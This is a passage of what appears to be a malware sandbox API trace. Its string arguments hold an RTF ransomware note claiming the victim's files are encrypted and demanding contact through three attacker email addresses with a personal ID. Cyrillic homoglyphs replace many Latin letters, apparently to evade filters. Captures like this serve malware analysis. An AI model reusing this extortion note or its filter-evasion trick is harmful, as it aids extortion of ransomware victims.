lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 